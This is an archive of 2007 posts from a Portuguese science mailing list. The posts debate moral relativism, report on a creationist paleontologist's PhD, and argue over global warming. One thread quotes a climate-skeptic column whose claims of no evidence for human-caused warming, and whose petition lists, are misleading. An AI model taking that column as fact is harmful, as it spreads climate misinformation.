> uma coisa de uma crueldade sem limites, um
> comportante alguns milhões de vezes maior que o
> animalesco(que não exibe emoções, move-o apenas o
> instinto de preservação individual e da espécie),
> para outras civilizações não é, de jeito nenhum
> assim. Povos antigos, considerados civilizados e
> avançados em certos conhecimentos, como os maias ou
> astecas, não tinham tais ingredientes em seu
> cardápio do uso deles de cada dia. Era comum, muito
> comum, como prêmio, jogarem "bola" com a cabeça dos
> vencidos numa batalha! Tratava-se de uma mera
> diversão e o prazer do escárnio ao vencido, que
> perdia interiramente o valor de humano. Onde está a
> emoção, aí? Não sentiam ´"pena", "dó" ou tinha
> quaisquer sentimentos do errado, do condenável.
> Ainda hoje há sociedades que exibem tradições
> milenares bizarras, onde o o sentimento de amor,
> ódio, ou o que seja, nem fedem nem cheiram.
>
> Ou seja, tais comportamentes sociais nada têm a
> ver com o tipo de coisa que outras sociedades possam
> pensar a respeito. O que uma pensa em relação à
> outra é absoluta e reciprocamente transparente.
>
> Em suma, o que disse no e-mail anterior e em
> outros, refere-se exclusivamente ao comportamento e
> posturas sociais apenas naquele meio social.
> Referia-me, e acho que foi desnecessário explictar
> isso, à realidade e às verdades inerentes a tal ou
> qual grupamento social. O que nós, ou outras
> sociedades achamos a respeito em absoluto não atinge
> as outras, como já enfatizei, e repito agora. E
> estas, também, não compreendem a razão pela qual
> pensamos e agimos assim, que para elas está errado,
> é um absurdo, que estão certíssimas. Ou seja, do
> mesmo jeito que pensamos a respeito delas. É o tal
> caso: vale o vice-versa e o versa-vice. E nada
> podemos tascar a respeito.
>
>
> Romano_170: Se as leis da física valem em qualquer
> lugar da Terra, as leis morais
> tb são válidas a qualquer cultura. Não podemos dar
> como normal o
> linchamento de pessoas em determinadas culturas.
> Pelos direitos
> humanos universais, todo mundo merece um
> julgamento digno. Enfim, é um
> assunto muito discutível
>
> Victor: Não podemos, sob hipótese alguma, fazer
> comparações entre as leis da física, estas sim,
> universais, e "leis morais", que são de um
> relativismo que faz pena, conforme discutido no
> questionamento anterior, onde, particularmente, usei
> exemplos simples e possíveis de situações que
> mostram claramente essa maleabilidade no que se
> refere a conceitos do tipo discutido neste e-mail e
> nesta thread. São duas coisa tão diferentes quanto
> um ser vivo e uma pedra. Fico com a impressão de
> que o amigo não tem a mínima idéia do que sejam leis
> físicas; pois incluí-la num contexto desse tipo,
> buscando ancoramento para justificar uma
> "universalidade" de leis morais, ou que isto seja,
> é, queira me desculpar, no mínimo, um disparate.
> Pelo que denota, apenas, desconhecimento do que
> está tratando. Não sei sua formação. Só sei, agora,
> que ela nada a ver com física ou matemática. Se for
> filósofo, ou estudante de filosofia, pior ainda.
> Mas sugiro, fortemente, que, antes de fazer uma
> dessas tolas analogias, até por respeito aos que
> sabidamente não são da área científica, nem querem
> saber dessas coisas, embora saibam muitas outras,
> que os da área nem desconfiam, procure informar-se
> melhor a respeito de um dos objetos referenciados.
> Por isso, vou tirar 100 pontos de você. Será,
> agora, apenas "romano_70"!
>
> Romano_70: Não podemos dar como normal o
> linchamento de pessoas em determinadas culturas.
> Pelos direitos
> humanos universais, todo mundo merece um
> julgamento digno. Enfim, é um
> assunto muito discutível.
>
> Victor: Repetí o texto acima, de certa forma já
> comentado, para tecer mais alguns comentários. Você
> diz: " Não podemos dar como normal o linchamento de
> pessoas em determinadas culturas". Embora isto não
> seja verdadeiro sequer para nós, que "não achamos
> normal", só quero lembrar que não está se tratando
> de acharmos ou não normal tal ou qual comportamento
> de determinadas culturas. Trata-se, apenas, do que
> esta cultura acha ou entende como certo para ela!
> Tratam-se de suas realidades inerentes, atreladas
> aos costumes e tradições daquela determinada
> sociedade. O certo ou errado, refere-se à cultura em
> si. Não ao que pensam outras culturas, que têm, de
> maneira igualmente corretas suas tradições e
> comportamentos. O que uma acha em relação a outra,
> vice-versa, é irrelevante. Agora, voltemos um
> pouquinho cá para dentro de nossa sociedade, que se
> arvora o direito de ter as verdades absolutas: o que
> pensamos, muitos de nós, ante uma atrocidade como
> aquela que ocorreu com o garoto João, ou com o o
> sequestro, estupro e assassinato de duas garotas
> estudantes de 10 e 13 anos, aquí em Pernambuco?
> Garanto uma coisa: uma boa parte da população
> trucidaria, sem remorsos posterioes, os bandidos que
> cometeram os desatinos. Ou não é assim? Mas
> empunhamos o cajado da justiça e da retidão para
> criticar comportamentos às vezes tão crueis quanto
> os que você cita, como base para seus argumentos.
> Agora, admito que há uma coisa que pode ser
> universal: a hipocrisia. Todos merecem um julgamento
> digno, você diz certo. Mas até o conceito de
> "julgamento digno" é varíavel também. De uma fluidez
> que dá gosto! Depende da sociedade, e o caráter
> fluídico do conceito está diretamente ligado ao que
> NÓS pensamos a respeito do que pensa aquela
> determinada sociedade.
>
> " Enfim, é um assunto muito discutível.", conforme
> você conclui sua própria prosopopéia. Mas é disso
> que estamos tratando, durante todo o tempo.
>
> Sds,
>
> Victor.
>
>
>
> Sds,Romano
>
> --- Em ciencialist@yahoogrupos.com.br, "Victor"
> <jvoneto@...> escreveu
> >
> > Ricardo,
> >
> > Você fechou claramente o que tentei expor com
> exemplos, centrados em
> circunstâncias igualmente claras. Moral, ética,
> religião,
> comportamento, enfim, tudo é uma função
> geográfica!. Para mim,isto é
> de uma clareza, sobre o que não tenho dúvidas, o
> que me economiza o
> tempo de estar elaborando perguntas e mais
> perguntas. Minha realidade
> é minha realidade. A de outros, é a de outros. Que
> só depende do lugar
> e/ou das circunstâncias, como se tem corretamente
> enfatizado. Imagina
> que eu, civilizado como penso que sou, tivesse
> nascido em uma tribo
> brasileira, digamos, a Tupinambá. Numa guerra,
> aprisionei uma linda
> guerreira. Ia comê-la, sim senhor! Aí, depois,
> viria uma batata de
> perna, um... Se não fosse ela, seria eu. Bem, já
> almocei.
> >
> > Sds,
> > Victor.

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SUBJECT: [RN] CRIACIONISTAS OBTEM DOUTORADO EM CIENCIAS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 16:25

NYTIMES, 12-02-2007

BELIEVING SCRIPTURE BUT PLAYING BY SCIENCE'S RULES

Conelia Dean

"Kingston, R.I. — There is nothing much unusual about the 197-page
dissertation Marcus R. Ross submitted in December to complete his
doctoral degree in geosciences here at the University of Rhode Island.

His subject was the abundance and spread of mosasaurs, marine reptiles
that, as he wrote, vanished at the end of the Cretaceous era about 65
million years ago. The work is "impeccable," said David E. Fastovsky,
a paleontologist and professor of geosciences at the university who
was Dr. Ross's dissertation adviser. "He was working within a strictly
scientific framework, a conventional scientific framework."

But Dr. Ross is hardly a conventional paleontologist. He is a "young
earth creationist" — he believes that the Bible is a literally true
account of the creation of the universe, and that the earth is at most
10,000 years old." (e)
http://www.nytimes.com/2007/02/12/science/12geologist.html
--------

[]s,

Roberto Takata




SUBJECT: P/ Vitor - As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 16:30

Olá Vitor

Vitor, Romano/Tagore/Bradock/etc é apenas um troll, que muda de nick a
cada semana, para "pegar" incautos listeiros que, se soubessem que é
ele de novo (Bradock/Tagore/Pubmed/rtjunior/Romano/etc) não dariam
atenção, nem responderiam a nenhuma mensagem.

Tudo que ele deseja é atenção, arrumar encrenca e bater boca. Arrumou
encrenca com o Takata, "a favor" do vegetarianismo, e arrumou encrenca
com a Bruna, "contra" o vegetarianismo. Diga A, ele dirá B, diga B,
ele dirá A.

E copiará centenas de links e trechos de texto que não leu e não entende.

Todo esforço em escrever longas, e racionais, considerações,a
argumentos, evidências, etc, é inútil e se perde em respostas como essas:

Troll: "Não há diferenças entre leis físicas e leis morais. Sem amor a
existencia é impossível. Não há relativismo algum nisso."

Fala sério..:-) Dá para conversar com quem escreve isso?!..:-)

É só um troll, fingindo ser mais esperto e mais importante do que é..:-)

Gostei muito de suas mensagens, mas serão pouco proveitosas para tal
entidade malígna..:-) Em pouco tempo, quando todos se cansarem de seus
absurdos como Romano_170 (deveria ser romano_171..:-), ele "some" e
volta com novo nick, disfarçado, sem avisar ninguém, tentando "pegar"
novas vítimas.

Foi assim que conseguiu ser expulso de diversas listas..:-)

Um abraço.

Homero





SUBJECT: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "jvictor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 17:06

Olá, Romano,

Romano-170(repuz os 100):
No seu email voce tentou me desqualificar , apelando para formações,
etc e escambau. Digo e repito, inteligencia não tem nada a ver com
formação nenhuma, inclusive física e matemática. Voce tb não é físico,
e discute aqui não? Não vai comparar a formação de um físico teórico
com a de um engenheiro eletrônico. Mas te digo, inteligência e
formação cultura-científica não garante a inteligencia de uma pessoa.

Victor: Se entendeu assim, peço desculpas.Não foi de maneira alguma esta, a minha intenção; além disso, procuro evitar expedientes desse tipo( a não ser que me futuquem...). Mas se eu começar a falar sobre biologia, química, geografia, você, se for sabidinho em algumas delas, descobrirá, sem sombras de dúvidas, que não sei do que estou falando, não com propriedade, com segurança. Capturaste, agora?

Sobre o conteúdo do texto,mantenho tudo que está alí, e continuo achando que você está equivocado, naturalmente, se comparado ao meu quadro de referências. Por isso,não comentarei o restante de seu texto.

Sds,

Victor





----- Original Message -----
From: romano_170
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 14, 2007 1:13 PM
Subject: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )


Victor ,

Não há diferenças entre leis físicas e leis morais. Sem amor a
existencia é impossível. Não há relativismo algum nisso. Vou explicar.
O que existe uma irrefletida maneira e de pensar de determinadas
culturas e povos(mas não que o relativismo seja verdadeiro para cada
cultura) - O que pesa nestas culturas? A falta de conhecimento é uma
das coisas que contribuem para o relativismo, o fato de um aborígene
desconhecer as leis da física, e praticar canibalismo, não faz da
cultura dele mais certa eticamente e intelectual que a nossa. Se ele
não tiver os conhecimentos necessários, a vida deles será vivida
pobremente, sem nenhum conceito de moralidade ou ciência. Um ser ou
uma civilização esclarecida não colocaria outro ser humano num
caldeirão com cebola. Então não tem essa de que eles estão certos e
que a moral deles é válida só porque fazem isso. Então, segundo seu
raciocínio, se eles desconhecem a moralidade, eles tb desconhecem a
física, e as leis física pra eles não tem nenhuma validade pra eles,
eles viveriam muito bem sem elas.
Se eles desconhecem a moral e a física, e praticam canibalismo, o
canibalismo pra cultura deles pode ser tão verdadeiro como as
descobertas da física? Voce aceitaria isso? Obviamente que não,
obviamente diria que nós fizemos ciência e eles não. Então há
diferença entre os povos civilizados e os povos aborígenes! É um fato

Vamos ver o problema do seu raciocínio: Se assim fosse deveríamos
deixar governos como o Taliban dominar o mundo, já que cada cultura
possue a sua verdade. E diríamos que aquela forma de governo opressora
é válida . Hitler e Mussolini poderiam ter tacado uma bomba em
qualquer país, ter matado mais judeus e ciganos, ora bolas, afinal, a
moralidade dele pode ser tão correta quanto a nossa! :-)

A universalidade das leis morais tem tanto valor para a humanidade
como as leis da física, pois dela depende o entrosamento dos homens
daí a dificuldade dos cientistas em lidar com a religião ou a
filosofia. A ciencia existe porque existe o amor pela humanidade. Se
assim não fosse, não tinha razão de ser. Voce está vivo porque seus
pais o amaram e voce ama seus filhos.

No seu email voce tentou me desqualificar , apelando para formações,
etc e escambau. Digo e repito, inteligencia não tem nada a ver com
formação nenhuma, inclusive física e matemática. Voce tb não é físico,
e discute aqui não? Não vai comparar a formação de um físico teórico
com a de um engenheiro eletrônico. Mas te digo, inteligência e
formação cultura-científica não garante a inteligencia de uma pessoa

Abs,Romano

--- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@...> escreveu
>
> Romano_170,
>
>
> ----- Original Message -----
> From: romano_170
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, February 13, 2007 3:25 PM
> Subject: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re:
Carne: enfim o método )
>
>
> Romano: Não concordo.
>
> Victor: Este é um direito que você tem.
>
> Romano_170: Existem leis naturais universais válidos pra qualquer
cultura, o amor é uma delas, o ódio em qualquer cultura é prejudical,
nos leva a matar
> e cometer todos os tipos de atrocidades.
>
> Victor: Mas não se trata disso, da influência do emocional, que
esta é comum ao ser humano, qualquer que seja o contexto em que este
esteja inserido. Mesmo assim, já que falou, o emocional é engolido
pelos costumes de tal ou qual sociedade, tem seu valor minimizado ou
desconsiderado quando se trata de fazer justiça, o que quer seja isso
para determinada sociedade. O que achamos um destempero, uma coisa de
uma crueldade sem limites, um comportante alguns milhões de vezes
maior que o animalesco(que não exibe emoções, move-o apenas o instinto
de preservação individual e da espécie), para outras civilizações não
é, de jeito nenhum assim. Povos antigos, considerados civilizados e
avançados em certos conhecimentos, como os maias ou astecas, não
tinham tais ingredientes em seu cardápio do uso deles de cada dia. Era
comum, muito comum, como prêmio, jogarem "bola" com a cabeça dos
vencidos numa batalha! Tratava-se de uma mera diversão e o prazer do
escárnio ao vencido, que perdia interiramente o valor de humano. Onde
está a emoção, aí? Não sentiam ´"pena", "dó" ou tinha quaisquer
sentimentos do errado, do condenável. Ainda hoje há sociedades que
exibem tradições milenares bizarras, onde o o sentimento de amor,
ódio, ou o que seja, nem fedem nem cheiram.
>
> Ou seja, tais comportamentes sociais nada têm a ver com o tipo de
coisa que outras sociedades possam pensar a respeito. O que uma pensa
em relação à outra é absoluta e reciprocamente transparente.
>
> Em suma, o que disse no e-mail anterior e em outros, refere-se
exclusivamente ao comportamento e posturas sociais apenas naquele meio
social. Referia-me, e acho que foi desnecessário explictar isso, à
realidade e às verdades inerentes a tal ou qual grupamento social. O
que nós, ou outras sociedades achamos a respeito em absoluto não
atinge as outras, como já enfatizei, e repito agora. E estas, também,
não compreendem a razão pela qual pensamos e agimos assim, que para
elas está errado, é um absurdo, que estão certíssimas. Ou seja, do
mesmo jeito que pensamos a respeito delas. É o tal caso: vale o
vice-versa e o versa-vice. E nada podemos tascar a respeito.
>
>
> Romano_170: Se as leis da física valem em qualquer lugar da Terra,
as leis morais
> tb são válidas a qualquer cultura. Não podemos dar como normal o
> linchamento de pessoas em determinadas culturas. Pelos direitos
> humanos universais, todo mundo merece um julgamento digno. Enfim, é um
> assunto muito discutível
>
> Victor: Não podemos, sob hipótese alguma, fazer comparações
entre as leis da física, estas sim, universais, e "leis morais", que
são de um relativismo que faz pena, conforme discutido no
questionamento anterior, onde, particularmente, usei exemplos simples
e possíveis de situações que mostram claramente essa maleabilidade no
que se refere a conceitos do tipo discutido neste e-mail e nesta
thread. São duas coisa tão diferentes quanto um ser vivo e uma pedra.
Fico com a impressão de que o amigo não tem a mínima idéia do que
sejam leis físicas; pois incluí-la num contexto desse tipo, buscando
ancoramento para justificar uma "universalidade" de leis morais, ou
que isto seja, é, queira me desculpar, no mínimo, um disparate. Pelo
que denota, apenas, desconhecimento do que está tratando. Não sei
sua formação. Só sei, agora, que ela nada a ver com física ou
matemática. Se for filósofo, ou estudante de filosofia, pior ainda.
Mas sugiro, fortemente, que, antes de fazer uma dessas tolas
analogias, até por respeito aos que sabidamente não são da área
científica, nem querem saber dessas coisas, embora saibam muitas
outras, que os da área nem desconfiam, procure informar-se melhor a
respeito de um dos objetos referenciados. Por isso, vou tirar 100
pontos de você. Será, agora, apenas "romano_70"!
>
> Romano_70: Não podemos dar como normal o
> linchamento de pessoas em determinadas culturas. Pelos direitos
> humanos universais, todo mundo merece um julgamento digno. Enfim, é um
> assunto muito discutível.
>
> Victor: Repetí o texto acima, de certa forma já comentado, para
tecer mais alguns comentários. Você diz: " Não podemos dar como normal
o linchamento de pessoas em determinadas culturas". Embora isto não
seja verdadeiro sequer para nós, que "não achamos normal", só quero
lembrar que não está se tratando de acharmos ou não normal tal ou qual
comportamento de determinadas culturas. Trata-se, apenas, do que esta
cultura acha ou entende como certo para ela! Tratam-se de suas
realidades inerentes, atreladas aos costumes e tradições daquela
determinada sociedade. O certo ou errado, refere-se à cultura em si.
Não ao que pensam outras culturas, que têm, de maneira igualmente
corretas suas tradições e comportamentos. O que uma acha em relação a
outra, vice-versa, é irrelevante. Agora, voltemos um pouquinho cá
para dentro de nossa sociedade, que se arvora o direito de ter as
verdades absolutas: o que pensamos, muitos de nós, ante uma
atrocidade como aquela que ocorreu com o garoto João, ou com o o
sequestro, estupro e assassinato de duas garotas estudantes de 10 e 13
anos, aquí em Pernambuco? Garanto uma coisa: uma boa parte da
população trucidaria, sem remorsos posterioes, os bandidos que
cometeram os desatinos. Ou não é assim? Mas empunhamos o cajado da
justiça e da retidão para criticar comportamentos às vezes tão crueis
quanto os que você cita, como base para seus argumentos. Agora, admito
que há uma coisa que pode ser universal: a hipocrisia. Todos merecem
um julgamento digno, você diz certo. Mas até o conceito de "julgamento
digno" é varíavel também. De uma fluidez que dá gosto! Depende da
sociedade, e o caráter fluídico do conceito está diretamente ligado
ao que NÓS pensamos a respeito do que pensa aquela determinada
sociedade.
>
> " Enfim, é um assunto muito discutível.", conforme você conclui
sua própria prosopopéia. Mas é disso que estamos tratando, durante
todo o tempo.
>
> Sds,
>
> Victor.
>
>
>
> Sds,Romano
>
> --- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@> escreveu
> >
> > Ricardo,
> >
> > Você fechou claramente o que tentei expor com exemplos, centrados em
> circunstâncias igualmente claras. Moral, ética, religião,
> comportamento, enfim, tudo é uma função geográfica!. Para mim,isto é
> de uma clareza, sobre o que não tenho dúvidas, o que me economiza o
> tempo de estar elaborando perguntas e mais perguntas. Minha realidade
> é minha realidade. A de outros, é a de outros. Que só depende do lugar
> e/ou das circunstâncias, como se tem corretamente enfatizado. Imagina
> que eu, civilizado como penso que sou, tivesse nascido em uma tribo
> brasileira, digamos, a Tupinambá. Numa guerra, aprisionei uma linda
> guerreira. Ia comê-la, sim senhor! Aí, depois, viria uma batata de
> perna, um... Se não fosse ela, seria eu. Bem, já almocei.
> >
> > Sds,
> > Victor.
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Vitor - As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 17:12

Acho que apoiando a falácia do Victor, voce acaba na mesma falácia , a
falácia da vovó Mafalda :-)

Vejamos. Os direitos humanos não partem de nossas emoçoes e instintos
segundo um determinado padrão unitário ou tendencias de moda ou
cultura, ele transcende a cultura, e foram fruto de discussões
seculares e consensuais, de princípuios universais válidos para todos
os seres humanos, e não tão somente para alguns interessados

É fruto do conhecimento secular amadurecido, com base na experiencia
humana de sofrimentos, imposições, opressões seculares, injustiças e
valores impostos. Portanto tem uma base, racional, humanista secular.

Teimar quanto a isso é bobagem, cada vez mais pessoas inteligentes
irão perceber oo furo da argumentação de voces

Abs,Romano


--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Vitor
>
> Vitor, Romano/Tagore/Bradock/etc é apenas um troll, que muda de nick a
> cada semana, para "pegar" incautos listeiros que, se soubessem que é
> ele de novo (Bradock/Tagore/Pubmed/rtjunior/Romano/etc) não dariam
> atenção, nem responderiam a nenhuma mensagem.
>
> Tudo que ele deseja é atenção, arrumar encrenca e bater boca. Arrumou
> encrenca com o Takata, "a favor" do vegetarianismo, e arrumou encrenca
> com a Bruna, "contra" o vegetarianismo. Diga A, ele dirá B, diga B,
> ele dirá A.
>
> E copiará centenas de links e trechos de texto que não leu e não
entende.
>
> Todo esforço em escrever longas, e racionais, considerações,a
> argumentos, evidências, etc, é inútil e se perde em respostas como
essas:
>
> Troll: "Não há diferenças entre leis físicas e leis morais. Sem amor a
> existencia é impossível. Não há relativismo algum nisso."
>
> Fala sério..:-) Dá para conversar com quem escreve isso?!..:-)
>
> É só um troll, fingindo ser mais esperto e mais importante do que é..:-)
>
> Gostei muito de suas mensagens, mas serão pouco proveitosas para tal
> entidade malígna..:-) Em pouco tempo, quando todos se cansarem de seus
> absurdos como Romano_170 (deveria ser romano_171..:-), ele "some" e
> volta com novo nick, disfarçado, sem avisar ninguém, tentando "pegar"
> novas vítimas.
>
> Foi assim que conseguiu ser expulso de diversas listas..:-)
>
> Um abraço.
>
> Homero
>




SUBJECT: Re: O Ambientalista Crente
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 17:13

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Essa thread começou bem, mas acabou se perdendo. Que provas temos de
> que o aquecimento global é causado pela atividade humana?

Estah no relatorio do IPCC.
http://www.ipcc.ch/

Em outra mensagem eu havia mencionado a correlacao entre temperatura
media e o teor de CO2 - e outros gases-estufa. Alem das medicoes das
emissoes antropogenicas desses gases.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 17:58

Essa thread começou bem, mas acabou se perdendo. Que provas temos de que o
aquecimento global é causado pela atividade humana?

[ ]s

Alvaro Augusto


----- Original Message -----
From: "GiL" <nanolink01@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, February 02, 2007 9:03 AM
Subject: [ciencialist] Re: O Ambientalista Crente


O rapaz aí é colunista do site de ultra-direita abaixo:

http://www.midiasemmascara.org/colunistas.php?aid=78

- Repare que a maioria dos argumentos é pirraça ideológica ou
argumentos de autoridade, e praticamente nada de científico, como ele
tanto parecia pregar no inicio do texto.

- O autor se concentra em argumentos distorcidos ou exagerados, e
deixa de lado os argumentos científicos verdadeiros.

- Mistura observações razoáveis com outras absurdas.

- Em em certos casos, consegue se contradizer em uma mesma frase:por
exemplo, na frase abaixo, onde ele diz que o mundo está numa fase
muito "boa", ao mesmo tempo em que diz que emprego e renda são
preocupações imediatas!
Frase: "o mundo vive uma fase tão boa e rara de bonança, com forte
crescimento econômico por anos seguidos, que as preocupações mais
básicas e imediatas, como emprego e renda, cedem espaço para as
elucubrações distantes."

- Mas há uma explicaçao alternativa: O "mundo" dele está em ótima
fase. E aquecimento global, e interferência humana é "elucubração
distante". Ele é de outro planeta.

Gil

--- Em ciencialist@yahoogrupos.com.br, "Joaquim de Campos Salles"
<joaquimsalles@...> escreveu
>
>
> Muito se debate sobre o aquecimento global. Recebi o texto abaixo
falando do
> tema e gostaria da opinião geral sobre o mesmo, a onde esta correto
e a onde
> esta errado ou falho o texto e sua critica.
>
> Existe um trecho em particular que gostaria de opiniões: "Os
ambientalistas
> pessimistas partem de um fato &#8211; o aumento na temperatura média do
planeta &#8211;
> e concluem muitas coisas que não estão, nem de perto, provadas.
Podemos
> estar diante de uma falácia conhecida como non sequitur, onde as
premissas
> são verdadeiras, mas a conclusão não é derivada delas. Não há prova,
e para
> muitos cientistas sequer evidências, de que é a ação humana que
causa tal
> aumento da temperatura. Muitos cientistas renomados, mas ignorados
pela
> mídia e público em geral, afirmam que a temperatura da Terra sempre
oscilou
> bastante, que já foi mais quente que a atual, e que tudo isso é
normal."
>
> Ou seja, resumidamente temos duas hipótese:
>
> 1 - O aquecimento global tem como causa a ação humana;
> 2 - É um fato "natural" e cíclico do planeta;
>
> Só com a afirmação do "aumento médio da temperatura" não da para
refutar
> nenhuma das hipótese acima. Pergunto, existe outras evidencias que
> refutariam alguma das hipóteses acima?
>
> Claro que existe no texto abaixo uma analise política e ideológica
da
> questão que também acho oportuno comentários,
>
> Grato pela ajuda,
>
> Joaquim
>
>
>
> ----- Original Message -----
> From: Rodrigo Constantino
>
> O Ambientalista Crente
>
> Rodrigo Constantino
>
> "O método do conhecimento científico é o método crítico: o método da
busca
> por erros e da eliminação de erros a serviço da busca da verdade, a
serviço
> da verdade." (Karl Popper)
>
> Poucos temas atuais são tão dogmáticos como o aquecimento global.
Que o
> planeta está experimentando um aumento na temperatura média, que a
causa
> disso é a ação humana, e que o futuro é catastrófico se nada for
feito pelos
> homens são "verdades" tão absolutas, pelo senso comum, que sequer
merecem
> questionamento sério. Aquele que ousar fazer perguntas, demonstrando
algum
> ceticismo, será logo tachado de herege, como muitos defensores da
razão eram
> na Idade das Trevas, a era onde a superstição dominava o
conhecimento
> racional.
>
> Ocorre que o conhecimento objetivo, como bem nos lembra Karl Popper,
evolui
> justamente pela crítica, pela tentativa de se refutar as teorias. O
> conhecimento é conjectural, "um ousado trabalho de adivinhar, mas se
trata
> de um adivinhar disciplinado pela crítica racional". E segundo
Popper, "isso
> torna a luta contra o pensamento dogmático um dever". Como as
conclusões
> sobre o aquecimento global não parecem abertas às críticas, podemos
concluir
> que se trata de um pensamento dogmático. É um dever lutar contra
isso,
> portanto.
>
> Aqui, não pretendo refutar cientificamente as principais teses dos
> alarmistas de plantão, mas apenas estimular um maior questionamento
sobre
> certas "verdades", ou melhor, dogmas. Não custa lembrar o quanto os
> "especialistas" do passado já erraram sobre esses temas. Basta citar
que na
> década de 1970, o pânico do momento era o esfriamento global.
Podemos falar
> da SARS também, que iria dizimar boa parte da população mundial, tal
como a
> peste negra no passado. Creio que podemos afirmar com elevado grau
de
> certeza, que os especialistas previram umas mil catástrofes das
últimas dez.
> O exagero não é por acaso. Eles vivem disso, e se não há pânico
incutido nas
> pessoas, não há muitas verbas para suas pesquisas.
>
> No recente Fórum de Davos, um dos assuntos centrais foi justamente o
> aquecimento global. Muitos comemoraram, como se finalmente os
economistas
> tivessem acordado para a relevância do assunto. Há, porém, uma
interpretação
> alternativa: o mundo vive uma fase tão boa e rara de bonança, com
forte
> crescimento econômico por anos seguidos, que as preocupações mais
básicas e
> imediatas, como emprego e renda, cedem espaço para as elucubrações
> distantes. E um tom escatológico faz-se necessário, pois caso
contrário,
> ninguém irá dar muita atenção &#8211; nem verbas. A tese malthusiana de
fim do
> mundo sempre conquistou muitos adeptos, ainda que tenha sido
refutada pela
> experiência.
>
> Os ambientalistas pessimistas partem de um fato &#8211; o aumento na
temperatura
> média do planeta &#8211; e concluem muitas coisas que não estão, nem de
perto,
> provadas. Podemos estar diante de uma falácia conhecida como non
sequitur,
> onde as premissas são verdadeiras, mas a conclusão não é derivada
delas. Não
> há prova, e para muitos cientistas sequer evidências, de que é a
ação humana
> que causa tal aumento da temperatura. Muitos cientistas renomados,
mas
> ignorados pela mídia e público em geral, afirmam que a temperatura
da Terra
> sempre oscilou bastante, que já foi mais quente que a atual, e que
tudo isso
> é normal. O diretor do Observatório Astronômico de São Petersburgo,
> Khabibullo Abdusamatov, afirma que a atividade do sol é que causa o
> aquecimento, e não o "efeito estufa".
>
> Ele não está sozinho nesse ceticismo. A lista é enorme, na verdade:
Dr. Ian
> Clark, professor da Universidade de Ottawa; Dr. Daniel Schrag, de
Harvard;
> Claude Allegre, um dos mais condecorados geofísicos franceses; Dr.
Richard
> Lindzen, professor de ciências atmosféricas do MIT; Dr. Patrick
Michaels da
> Universidade de Virginia: Dr. Fred Singer; Professor Bob Carter,
geologista
> da James Cook University, Austrália; 85 cientistas e especialistas
em
> climatologia, que assinaram a declaração de Leipzeg, a qual
denominou os
> drásticos controles climáticos de "advertências doentes, sem o
devido
> suporte científico"; 17.000 cientistas e líderes envolvidos em
estudos
> climáticos, que assinaram a petição do Oregon Institute de ciências
e
> medicina, cujo texto afirma a falta de evidência científica
comprovando que
> os gases estufa causam o aquecimento global; e 4.000 cientistas e
outros
> líderes ao redor do mundo, incluindo 70 ganhadores do Prêmio Nobel,
que
> assinaram a Petição de Heidelberg, na qual se referem às teorias do
> aquecimento global relacionadas aos gases estufa como "teorias
científicas
> altamente duvidosas". E tem muito mais!
>
> Curiosamente, quase ninguém parece interessado a escutar o que esses
> cientistas têm a dizer. Preferem focar a atenção totalmente em Al
Gore,
> ignorando que ele é um político e que o uso do eco-terrorismo lhe
rende
> muitos votos. Muitos aderem à religião verde por ideologia também.
São
> socialistas que ficaram órfãos com a queda do muro em 1989, e
precisam de
> algum substituto para atacar o capitalismo e o industrialismo. O
> ambientalismo vem bem a calhar, posto que prega a concentração de
poderes no
> Estado e condena o capitalismo como grande responsável pelo
aquecimento
> global. Estranho é ignorarem que as nações socialistas sempre foram
> infinitamente mais poluidoras. Os Estados Unidos, que reponde por
cerca de
> 30% da economia global, tem uma participação semelhante na emissão
total de
> gases. Mas a Rússia, por herança socialista, tem uma economia de
apenas 1,5%
> da global, e emite algo como 17% do total de gases. Como podem pedir
mais
> Estado para resolver o "problema" então? Não é por acaso que são
jocosamente
> chamados de "melancias": verdes por fora, mas vermelhos por dentro.
>
> Há muito mais o que ser dito sobre o tema, de extrema relevância.
Poderíamos
> mostrar como os furacões e enchentes, agora atrelados ao capitalismo
por
> esses ambientalistas, causaram mais estrago ainda no passado, ou
então em
> países socialistas, como a China. Mas basta um furacão novo surgir
que logo
> acusam o capitalismo. O rigor científico é deixado de lado quando o
objetivo
> não é a busca da verdade, mas a alimentação da crença dogmática.
Quando
> percebemos esse modus operandi em torno do assunto, fica mais fácil
entender
> a celeuma e revolta que causou o livro O Ambientalista Cético, de
Bjorn
> Lomborg, que havia sido inclusive do Greenpeace. Ele começou
tentando provar
> muitos dos alardes, e concluiu que a maioria era pura ladainha.
Crentes
> fanáticos não suportam essa atitude. A Inquisição é necessária para
manter a
> fé cega. Infelizmente, estamos diante de um tipo que não pretende
> questionar, mas sim pregar seu dogma: o ambientalista crente.
>
> http://rodrigoconstantino.blogspot.com



SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 18:39

